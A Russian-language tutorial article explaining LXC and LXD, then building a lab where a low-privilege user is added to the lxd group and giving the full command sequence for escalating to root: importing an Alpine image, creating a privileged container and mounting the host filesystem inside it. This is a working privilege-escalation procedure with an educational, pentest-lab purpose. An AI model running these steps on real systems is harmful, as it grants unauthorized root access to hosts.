🐧 Неправильная конфигурация контейнеров Linux

В этой статье мы рассмотрим мир Linux-контейнеров (LXD/LXC) и их внутреннее устройство.

Кроме того, мы предоставим исчерпывающее руководство по настройке контейнера для целей тестирования, в том числе о том, что делать, если что-то пошло не так.

Самое главное – мы покажем, как злоумышленники могут использовать неправильно сконфигурированные контейнеры для получения системных привилегий, что подчеркивает острую необходимость обеспечения безопасности контейнеров.

В этой статье будут рассмотрены следующие темы:

  • Обзор Lxc и Lxd
  • Различия между Lxc и Lxd
  • Конфигурация Lxd
  • Неправильная настройка привилегий Lxd
  • Как использовать неправильно настроенный контейнер?

LXC

LXC, или Linux Containers, – это технология виртуализации на уровне операционной системы Linux.

Она позволяет запускать несколько независимых Linux-систем, называемых контейнерами, на одной хост-машине.

Каждый контейнер работает изолированно и имеет свою память, сетевые ресурсы и файловые системы.

Приложения контейнеров воспринимаются как работающие на отдельной физической машине.

LXC предлагает эффективный и действенный метод работы многих экземпляров Linux на одном хосте с минимальной деградацией и низкими накладными расходами.

Он востребован для развертывания приложений, тестирования систем, разработки и построения облачных инфраструктур.

LXC поддерживается ядром Linux и управляется с помощью различных инструментов, включая интерфейс командной строки LXC (CLI) и различные графические интерфейсы.

Она обладает гибкой и модульной архитектурой, позволяющей пользователям настраивать контейнеры в соответствии с их конкретными потребностями и требованиями.

LXD

LXD, сокращение от Linux Container Daemon, – это контейнерный гипервизор, позволяющий управлять контейнерами LXC с помощью удобного интерфейса.

Он использует технологию LXC и позволяет создавать системные контейнеры.

LXD оптимизирован для работы в Ubuntu и других дистрибутивах Linux, поддерживающих snap-пакеты.

LXD позволяет создавать, управлять и исполнять контейнеры с помощью REST API и интерфейса командной строки.

REST API позволяет программно управлять контейнерами, а интерфейс командной строки обеспечивает эффективное взаимодействие с контейнерами непосредственно из терминала.

LXD известен своей способностью к масштабированию и различными средствами защиты, которые предотвращают взлом контейнеров злоумышленниками.

Он предлагает такие высокотехнологичные средства защиты, как AppArmor и SELinux, позволяющие изолировать контейнеры и хосты.

Кроме того, LXD поддерживает живую миграцию контейнеров между хостами, что позволяет без проблем переносить рабочие нагрузки в различные среды.

В целом LXD – это мощный инструмент для управления Linux-контейнерами, упрощающий контейнеризацию и позволяющий пользователям безопасно и эффективно запускать приложения.

🔥 Реализация мандатного контроля доступа с помощью SELinux или AppArmor в Linux

Разница между LXC и LXD

LXC (Linux Containers) и LXD (Linux Container Daemon) – обе технологии, используемые для контейнеризации в Linux, но между ними есть некоторые различия:

  • LXC – это интерфейс пользовательского пространства для контейнерных функций ядра Linux, а LXD – это демон, предоставляющий RESTful API для управления контейнерами LXC.
  • LXC предназначен в первую очередь для создания и управления легкими системными контейнерами, в то время как LXD представляет собой полноценное решение для управления контейнерами, включающее такие функции, как живая миграция, кластеризация и управление хранением.
  • Кроме того, LXD предоставляет более удобный интерфейс командной строки и графический веб-интерфейс для управления контейнерами, в то время как LXC полагается на инструменты командной строки для управления.
  • LXD является более высокоуровневой абстракцией LXC, добавляющей такие функции, как управление образами контейнеров, создание моментальных снимков и управление сетью, в дополнение к основной функциональности LXC.

В итоге, если LXC обеспечивает основную функциональность контейнеризации в Linux, то LXD строится на ее основе и представляет собой полноценное решение для управления контейнерами с дополнительными возможностями и более удобным интерфейсом.

Настройка LxD

Теперь давайте выполним шаги по установке и настройке контейнера LXD в нашей системе.

Сначала с помощью утилиты ‘apt’ мы установим lxd и другие зависимости.

apt install lxd

apt install zfsutils-linux

После установки контейнера и его зависимостей мы можем запустить демон контейнера lxd с помощью команды ‘systemctl’.

systemctl start lxd

Неправильная настройка привилегий LXD

Для неправильной настройки контейнера создадим низкопривилегированного пользователя ‘pentest’ и дадим ему право управлять контейнерами lxd.

Создать пользователя можно с помощью команды ‘useradd’.

Команда ‘-p’ указывает пароль, ‘-s’ – shell и ‘-m’ – каталог пользователя, совпадающий с именем пользователя.

useradd -p ‘Password1’ -s ‘/bin/bash’ -m pentest

После создания пользователя мы можем использовать команду ‘usermod’ для добавления пользователя в группу lxd.

Это действие даст пользователю ‘pentest’ право на управление контейнерами.

usermod --append --groups lxd pentest

Мы также можем создать файл root.txt в корневом каталоге, чтобы проверить эксплойт, прочитав этот файл.

echo ‘We Got Root’ > root.txt

Пользователь pentest теперь является членом группы lxd

Теперь, используя эту неправильную конфигурацию, мы можем эксплуатировать систему и получить оболочку привилегированного пользователя.

Эксплуатация неправильно сконфигурированного контейнера

Первым шагом будет настройка нового пула хранения.

Для этого мы можем воспользоваться командой lxd init.

lxd init

Мы также можем проверить созданный нами пул хранения с помощью команды lxc.

lxc storage list

После создания пула хранения нам понадобится любой скомпилированный образ для контейнера lxd, который можно загрузить с GitHub.

В нашем сценарии хост-машина имеет доступ в Интернет, но если это не так, злоумышленник может сгенерировать собственный скомпилированный образ для lxd и передать его на хост-машину.

Давайте загрузим ‘lxd-alpine-builder’ и соберем образ.

git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder/ 
./build-alpine

После выполнения приведенных выше команд мы скомпилировали образ для контейнера lxd.

Теперь необходимо импортировать скомпилированный образ в контейнер.

Мы можем использовать lxc для импорта образа в контейнер.

Здесь мы именуем образ alpine как ‘Myimage’.

lxc image import ./ alpine-v3.17-x86_64-20230302_1107.tar.gz --alias MyImage
lxc image list

Наш скомпилированный образ импортирован в контейнер.

Теперь мы выполним несколько команд lxc, чтобы настроить привилегии для нашего скомпилированного образа.

Нам необходимо создать контейнер с использованием импортированного образа (MyImage).

Для этого необходимо создать экземпляр образа контейнера (с именем Itsec), после чего можно назначить привилегии безопасности созданному экземпляру.

lxc init MyImage itsec -c security.privileged=true

Смонтируйте корневой каталог хост-машины ( / ) в качестве алиаса (HostDir) в контейнер lxd по пути ‘/mnt/’

lxc config device add itsec HostDir disk source=/ path=/mnt/root recursive=true

Запуск контейнера

lxc start itsec

Получим оболочку для контейнера lxd.

lxc exec itsec /bin/sh

Проверка целостности контейнера lxd

id 
Hostname

Мы получили доступ к нашему контейнеру lxd, и в приведенном выше статусе мы смонтировали корневой каталог хост-машины (/) в папку /mnt/ контейнера.

Оказавшись внутри контейнера, мы можем перейти в каталог /mnt/root и увидеть все ресурсы хост-машины.

Мы можем получить доступ к файлу root.txt, созданному ранее, подтвердив тем самым права root-доступа.

cd /mnt/root/root 
ls

В этом руководсте мы рассмотрели, как простая неправильная конфигурация контейнера lxd позволяет злоумышленнику скомпрометировать всю систему и получить root shell на хост-машине.



2023-09-08T14:43:40
Закрытие уязвимостей